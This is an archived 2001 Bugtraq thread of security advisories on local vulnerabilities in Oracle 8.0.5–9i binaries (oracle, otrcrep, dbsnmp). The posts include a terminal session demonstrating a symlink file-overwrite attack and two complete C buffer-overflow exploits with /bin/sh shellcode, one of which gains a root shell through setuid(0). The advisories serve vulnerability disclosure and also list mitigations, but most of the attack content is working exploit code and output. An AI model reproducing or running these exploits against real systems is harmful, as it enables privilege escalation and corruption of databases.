6836661 2001-08-02 09:57 +0200 /71 rader/ Juan Manuel Pascual Escriba <pask@plazasite.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-02 21:29 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: oracle-l@faticity.com
Mottagare: Bugtraq (import) <18593>
Ärende: vulnerability in oracle binary in Oracle 8.0.5 - 8.1.6
------------------------------------------------------------
WWW.PLAZASITE.COM
System & Security Division
Title: Vulnerability in oracle binary in Oracle 8.0.5
Date: 11-12-2000
Platform: Only tested in Linux, but can be "exported" to others.
Impact: Any user compromise any file owned by oracle (DDBB owner).
Author: Juan Manuel Pascual (pask@plazasite.com)
Status: Vendor Contacted at 18th July 2001
PROBLEM SUMMARY:
There is a write permision checking error in oracle binary that
can be used by local users to write any file owned by oracle.
IMPACT:
Any user with local access, can corrupt the database. Overwrite
oracle binaries, etc.
SOLUTION:
Chmod -s ;-)))).
STATUS:
Vendor was contacted .
----------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask@plazasite.com
(6836661) /Juan Manuel Pascual Escriba <pask@plazasite.com>/(Ombruten)
Bilaga (text/plain) i text 6836662
6836662 2001-08-02 09:57 +0200 /36 rader/ Juan Manuel Pascual Escriba <pask@plazasite.com>
Bilagans filnamn: "oracle-8.0.5.txt"
Importerad: 2001-08-02 21:29 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: oracle-l@faticity.com
Mottagare: Bugtraq (import) <18594>
Bilaga (text/plain) till text 6836661
Ärende: Bilaga (oracle-8.0.5.txt) till: vulnerability in oracle binary in Oracle 8.0.5 - 8.1.6
------------------------------------------------------------
Only for educational purposes. (corrupt a ddbb isnt an educational
purpose!)
[pask@proves1 /tmp]$
[pask@proves1 /tmp]$ mkdir rdbms
[pask@proves1 /tmp]$ cd rdbms/
[pask@proves1 rdbms]$ mkdir log
[pask@proves1 rdbms]$ cd log
[pask@proves1 log]$
[pask@proves1 log]$ ls -alc
total 8
drwxrwxr-x 2 pask pask 4096 dic 14 02:33 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
[pask@proves1 log]$ export ORACLE_HOME=/tmp
[pask@proves1 log]$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5
[pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
[pask@proves1 log]$ ls -alc
total 12
drwxrwxr-x 2 pask pask 4096 dic 14 02:35 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
-rw-r----- 1 oracle pask 47 dic 14 02:35 ora_24028.trc
Upsssssssss a log owned by oracle with the structure ora_pid.trc I
can create: [pask@proves1 log]$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl
./ora_24050.trc pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle pask@proves1 log]$
$REAL_ORACLE_HOME/bin/oracle pask@proves1 log]$
$REAL_ORACLE_HOME/bin/oracle . .. ... until the log will be my
link .. and i overwrite the binary. what about dbf files and go on
....
(6836662) /Juan Manuel Pascual Escriba <pask@plazasite.com>/(Ombruten)
6836771 2001-08-02 09:33 +0200 /65 rader/ Juan Manuel Pascual Escriba <pask@plazasite.com>
Bilagans filnamn: "otrcrep-8.0.5.c"
Importerad: 2001-08-02 21:43 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: oracle-l@fatcity.com
Mottagare: Bugtraq (import) <18596>
Bilaga (text/plain) till text 6836770
Ärende: Bilaga (otrcrep-8.0.5.c) till: vulnerability in otrcrep binary in Oracle 8.0.5.
------------------------------------------------------------
/* cc -o evolut otrcrep.c; ./evolut 300 0 */
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 300
#define OFFSET 0
#define NOP 0x90
#define BINARY "/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG"
#define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"
char shellcode[] =
"\xeb\x1d"
"\x5e"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\x89\x76\x08"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xde\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
/* void main(int argc, char *argv[]) { */
void main() {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() -1420 -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",ORACLE_HOME,1);
setenv("EGG",buff,1);
system(BINARY);
}
(6836771) /Juan Manuel Pascual Escriba <pask@plazasite.com>/
6837113 2001-08-02 09:27 +0200 /124 rader/ Juan Manuel Pascual Escriba <pask@plazasite.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-02 22:32 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18601>
Ärende: Local Vulnerability in dbsnmp binary in Oracle 8.1.6 - 8.1.7 - 9i
------------------------------------------------------------
WWW.PLAZASITE.COM
Systems & Security Division
Title: Local Vulnerability in dbsnmp binary
Date: 13-07-2001
Platform: Only tested in Linux but can be exported to others.
Impact: Users belonging to oracle group can obtain euid=0
Author: Juan Manuel Pascual Escriba <pask@plazasite.com>
Status: Vendor contacted at 18th July 2001
PROBLEM SUMMARY:
Buffer overflow exists if ORACLE_HOME enviroment variable if is
defined with a size greater than 749 bytes
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export
ORACLE_HOME=`perl
-e 'print "A"x750'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault
This overflow exists in newer products like Oracle 9i and maybe in
older too.
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault
IMPACT:
Any user belonging to oracle group can obtain euid=0.
SOLUTION:
Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...
Wait for a patch.(??)
SPECIAL THANKS:
Francisco Fernandez <ffernandez@pandasoftware.com>
Ivan Sanchez
<isanchez@plazasite.com>
Mundo Alonso-Cuevillas <mundo@plazasite.com>
--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask@plazasite.com
(6837113) /Juan Manuel Pascual Escriba <pask@plazasite.com>/(Ombruten)
Bilaga (text/plain) i text 6837114
6837114 2001-08-02 09:27 +0200 /99 rader/ Juan Manuel Pascual Escriba <pask@plazasite.com>
Bilagans filnamn: "dbsnmp-8.1.6.c"
Importerad: 2001-08-02 22:32 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18602>
Bilaga (text/plain) till text 6837113
Ärende: Bilaga (dbsnmp-8.1.6.c) till: Local Vulnerability in dbsnmp binary in Oracle 8.1.6 - 8.1.7 - 9i
------------------------------------------------------------
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.
dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME
environment variable. Its necessary to call setuid(0) before normal
shellcode.
In My tests Offset may vary from 7846 to 7896. Its posible to obtain
a normal (uid=oracle) shell for low offsets (incomplete setuid(0)
jumps).
"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."
L.E.Aute
This vulnerability was researched by:
Juan Manuel Pascual <pask@plazasite.com>
Special thanks to:
Ivan Sanchez <isanchez@plazasite.com>
Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"
char shellcode[] =
"\x90" /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}
(6837114) /Juan Manuel Pascual Escriba <pask@plazasite.com>/(Ombruten)